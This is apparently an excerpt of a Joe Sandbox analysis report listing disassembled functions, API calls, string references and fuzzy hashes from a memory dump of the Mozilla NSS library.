TlsGetValue.KERNEL32(?,00000001,?,S&l,6CEA6295,?,00000000,?,00000001,S&l,?), ref: 6CEC1EF1
EnterCriticalSection.KERNEL32(?), ref: 6CEC1F01
PR_SetError.NSS3(00000000,00000000), ref: 6CEC1F39

Part of subcall function 6CECFE20: TlsGetValue.KERNEL32(6CEA5ADC,?,00000000,00000001,?,?,00000000,?,6CE9BA55,?,?), ref: 6CECFE4B
Part of subcall function 6CECFE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CECFE5F

PR_Unlock.NSS3(?), ref: 6CEC1F67

Strings

S&l, xrefs: 6CEC1EA0

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&l
API String ID: 704537481-539497627
Opcode ID: 1455d1c8f3f3ec9fbe7780828320d96cc40d657ed147d1fadd658ad884d4a818
Instruction ID: 23bfe4a13b5ac1d22a36d862d4e19c6e5f513cb1fd447aabbc6b8d419649e731
Opcode Fuzzy Hash: 1455d1c8f3f3ec9fbe7780828320d96cc40d657ed147d1fadd658ad884d4a818
Instruction Fuzzy Hash: AC21F271B00244AFEB00AEA9DC46B9A3779AF4536CF244164FD288B711EB30E954C7E2

Function 6CEECEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CEECD93,?), ref: 6CEECEEE

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CEECD93,?), ref: 6CEECEFC

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CEECD93,?), ref: 6CEECF0B

Part of subcall function 6CEE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CEECD93,?), ref: 6CEECF1D

Part of subcall function 6CEDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CED8D2D,?,00000000,?), ref: 6CEDFB85
Part of subcall function 6CEDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEDFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CEECD93,?), ref: 6CEECF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CEECD93,?), ref: 6CEECF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CEECD93,?,?,?,?,?,?,?,?,?,?,?,6CEECD93,?), ref: 6CEECF78

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 5c2ab8c4b30ddfda98b4535c6aba492514edd41829a3183d25b77f5eb33046da
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 8911C3A1B003005BEB04ABA66C42B6B79FC9F4C18DF24443DAC09D7741FB70DA08C6A1

Function 6CE98C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE98C1B
EnterCriticalSection.KERNEL32 ref: 6CE98C34
PL_ArenaAllocate.NSS3 ref: 6CE98C65
PR_Unlock.NSS3 ref: 6CE98C9C
PR_Unlock.NSS3 ref: 6CE98CB6

Part of subcall function 6CF2DD70: TlsGetValue.KERNEL32 ref: 6CF2DD8C
Part of subcall function 6CF2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4

Strings

KRAM, xrefs: 6CE98C8F

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 0057e9ad0ece1ba96d702598f37e5cce41f541caef790efc3c2e4c32b19d87c3
Instruction ID: ce5e7f787c4cb9548ab4df2a25b52635f2dd945e11a44485d2bd25eb148f2bc3
Opcode Fuzzy Hash: 0057e9ad0ece1ba96d702598f37e5cce41f541caef790efc3c2e4c32b19d87c3
Instruction Fuzzy Hash: D02197B1A056018FD700AF78C484659F7F4FF45308F25896ED888CB711EB35E886CB92

Function 6CEA8E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CEC2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE94F1C), ref: 6CEA8EA2

Part of subcall function 6CECF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CECF854
Part of subcall function 6CECF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CECF868
Part of subcall function 6CECF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CECF882
Part of subcall function 6CECF820: free.MOZGLUE(04C483FF,?,?), ref: 6CECF889
Part of subcall function 6CECF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CECF8A4
Part of subcall function 6CECF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CECF8AB
Part of subcall function 6CECF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CECF8C9
Part of subcall function 6CECF820: free.MOZGLUE(280F10EC,?,?), ref: 6CECF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CEC2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE94F1C), ref: 6CEA8EC3
TlsGetValue.KERNEL32(?,?,?,6CEC2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE94F1C), ref: 6CEA8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CEC2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEA8EF1
PR_Unlock.NSS3 ref: 6CEA8F20

Strings

b.l, xrefs: 6CEA8E96, 6CEA8F25

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.l
API String ID: 1978757487-3749612370
Opcode ID: 888fbcbcb79d479ab52de55e3131155dbd244d0bd8e584bcbf5f2319332356c5
Instruction ID: 2ac45c732f9e78be62efe46a89e5c91dd0d83c0f2b4b7cb39c9a42a301f5ebe6
Opcode Fuzzy Hash: 888fbcbcb79d479ab52de55e3131155dbd244d0bd8e584bcbf5f2319332356c5
Instruction Fuzzy Hash: EA219C74A097459FCB10AF69D484299BBF0FF08318F51856EE8989BB40D734E855CBC2

Function 6CF13E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CF15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF15B56

PR_EnterMonitor.NSS3(?), ref: 6CF13E45

Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490AB
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490C9
Part of subcall function 6CF49090: EnterCriticalSection.KERNEL32 ref: 6CF490E5
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF49116
Part of subcall function 6CF49090: LeaveCriticalSection.KERNEL32 ref: 6CF4913F

PR_EnterMonitor.NSS3(?), ref: 6CF13E5C
PR_EnterMonitor.NSS3(?), ref: 6CF13E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CF13EA6

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PR_ExitMonitor.NSS3(?), ref: 6CF13EC0
PR_ExitMonitor.NSS3(?), ref: 6CF13ED7
PR_ExitMonitor.NSS3(?), ref: 6CF13EEE

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 20bde9fd5e0dcdc8298f04f2c6c49c3d30e4ce966afab2e16946ee01448d1548
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 3F118775614700AFDB319E39FC02BC7B7A5DB41318F404834E65A87E21EA36E92DD742

Function 6CF92C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CF92CA0
PR_ExitMonitor.NSS3 ref: 6CF92CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CF92CD1
strdup.MOZGLUE(?), ref: 6CF92CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CF92D27

Strings

Loaded library %s (static lib), xrefs: 6CF92D22

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: f3161c6a5462aa744f56fd3318f794b6309da7a9a2cb23e909d3ecf2dd530a50
Instruction ID: ccf442ef570a994c9ec7fbec1783b3f6fe23d2998e4db21ee8e72a4c39524a9d
Opcode Fuzzy Hash: f3161c6a5462aa744f56fd3318f794b6309da7a9a2cb23e909d3ecf2dd530a50
Instruction Fuzzy Hash: 201193B5B11210AFEF948F25D84476677B4AB4931DF14852DD909C7B52D732E808CBA1

Function 6CE8BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE8BDCA

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE8BDDB

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE8BDEC

Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CE8BE03

Part of subcall function 6CEDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CED8D2D,?,00000000,?), ref: 6CEDFB85
Part of subcall function 6CEDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEDFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE8BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE8BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE8BE3B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 31e19959a8153929f234044a9f2ef78496810472dfa2a598325ad967d43eac9e
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: E001DB65E426156BF71013A66C01F5B76684F5528DF340034FE089EBC2FB55E51982F6

Function 6CEE0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016

Part of subcall function 6CF498D0: calloc.MOZGLUE(00000001,00000084,6CE70936,00000001,?,6CE7102C), ref: 6CF498E5

PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B
TlsGetValue.KERNEL32(00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1044
free.MOZGLUE(00000000,?,00000800,6CE7EF74,00000000), ref: 6CEE1064

Strings

security, xrefs: 6CEE1025

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: dff04a51e38830784765045bf4175f8cb6a87c4f17c79c26f54bfd7806b69781
Instruction ID: 9108a9690b524b533234595d01b8e9806517a15dc8265cdf964b92c4d4c393f4
Opcode Fuzzy Hash: dff04a51e38830784765045bf4175f8cb6a87c4f17c79c26f54bfd7806b69781
Instruction Fuzzy Hash: B1014870A102505BEBA02F7D9C047463B78BF0B7C9F21011AE908D6A63EB71D184DBE1

Function 6CF11C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF11C74

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CF11C92
free.MOZGLUE(?), ref: 6CF11C99
DeleteCriticalSection.KERNEL32(?), ref: 6CF11CCB
free.MOZGLUE(?), ref: 6CF11CD2

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: a2a4e16a3f380360e73c84e835c441477aaed115d9bf1230aff24e1791aa1a93
Instruction ID: d5abdc1fa573643b3185bd3144783709c8eb052310878992e3eaf0172a2cc1b8
Opcode Fuzzy Hash: a2a4e16a3f380360e73c84e835c441477aaed115d9bf1230aff24e1791aa1a93
Instruction Fuzzy Hash: 8101D6B1F256626FEFE4AFF49C0D78A37746B1E708F000124E509A6A40FB26E1048791

Function 6CF22E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF23046

Part of subcall function 6CF0EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF0EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CEF7FFB), ref: 6CF2312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF23154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF22E8B

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

Part of subcall function 6CF0F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CEF9BFF,?,00000000,00000000), ref: 6CF0F134

memcpy.VCRUNTIME140(8B3C75C0,?,6CEF7FFA), ref: 6CF22EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF2317B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 8e9fffdd6ffdb0cd19dfd09f80a5e00aab9afecc7b39c7654335b36592b5332f
Instruction ID: abf6903dbf83304466caf120fabd3c0b69992a4ea5b53d68f9e70bf1ca9089e9
Opcode Fuzzy Hash: 8e9fffdd6ffdb0cd19dfd09f80a5e00aab9afecc7b39c7654335b36592b5332f
Instruction Fuzzy Hash: 48A1BF71A002189FDB24CF54CC80BEAB7B5EF49318F148199ED496B741E735AE85CFA2

Function 6CEEED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CEEED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CEEEDCE

Part of subcall function 6CEE0BE0: malloc.MOZGLUE(6CED8D2D,?,00000000,?), ref: 6CEE0BF8
Part of subcall function 6CEE0BE0: TlsGetValue.KERNEL32(6CED8D2D,?,00000000,?), ref: 6CEE0C15

free.MOZGLUE(00000000,?,?,?,?,6CEEB04F), ref: 6CEEEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEEEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CEEEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CEEEEFB

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 67fa3f53f30c260c1eb4c984cffb910650c03f07d287e913d884bd2969a2e96c
Instruction ID: 0c4c318b629c1f00d30598342f2b62c19cd6a9d30e7c8dceff0cf79c7c03ae0c
Opcode Fuzzy Hash: 67fa3f53f30c260c1eb4c984cffb910650c03f07d287e913d884bd2969a2e96c
Instruction Fuzzy Hash: A9818CB1A006059FEB14CF55D881BAB7BF5AF8C388F24442CE8159B761DB30E905CBE1

Function 6CEECCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEEC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CEEDAE2,?), ref: 6CEEC6C2

PR_Now.NSS3 ref: 6CEECD35

Part of subcall function 6CF49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF90A27), ref: 6CF49DC6
Part of subcall function 6CF49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF90A27), ref: 6CF49DD1
Part of subcall function 6CF49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF49DED

Part of subcall function 6CED6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE81C6F,00000000,00000004,?,?), ref: 6CED6C3F

PR_GetCurrentThread.NSS3 ref: 6CEECD54

Part of subcall function 6CF49BF0: TlsGetValue.KERNEL32(?,?,?,6CF90A75), ref: 6CF49C07

Part of subcall function 6CED7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE81CCC,00000000,00000000,?,?), ref: 6CED729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEECD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CEECE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CEECE2C

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
